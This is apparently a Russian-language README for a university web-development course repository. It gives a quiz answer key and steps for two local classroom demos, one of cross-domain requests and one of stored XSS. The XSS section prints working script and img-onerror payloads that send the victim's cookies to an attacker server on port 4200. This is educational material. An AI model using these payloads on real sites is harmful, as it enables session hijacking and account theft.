A repository to hold web and dhtml course @ urfu
Ответы на тест:
1 а) 2 в)
Базовая папка: ./cross-domain
- Запустить сервера 3000 и 4200
node 3000.js
node 4200.js
- Открываем
127.0.0.1:3000
и нажимаем на кнопки
В сети в это время будут происходить кроссдоменные запросы.
Базовая папка: ./xss
- Запускаем сервера сайта(порт 3000) и злоумышленника(4200)
npm install
node 3000.js
node 4200.js
- Переходим на форму:
127.0.0.1:3000/register
- Злоумышленик вводит в форму зловредный скрипт, например
<script>alert('your cookies have been stolen'); let stealImg = document.createElement('img');stealImg.src = 'http://127.0.0.1:4200/steal?cookie=' + document.cookie;document.body.appendChild(stealImg);</script>
<img id="stealImg" width='0px' height='0px'><img src='' onerror="stealImg.src='http://127.0.0.1:4200/steal?cookie=' + document.cookie;">
- Жертва переходит на
localhost:3000/register
и заполняет данные. - Жертву редиректят на тред комментариев к посту, скрипт злоумышленика подгружается как комментарий.
Что произошло?
С помощью XSS атаки через несуществующее изображение злоумышленик похитил куки у жертвы. Стоит сказать, что дополнительно таким образом можно похитить данные sessionstorage/localstorage, в которых часто хранят различные токены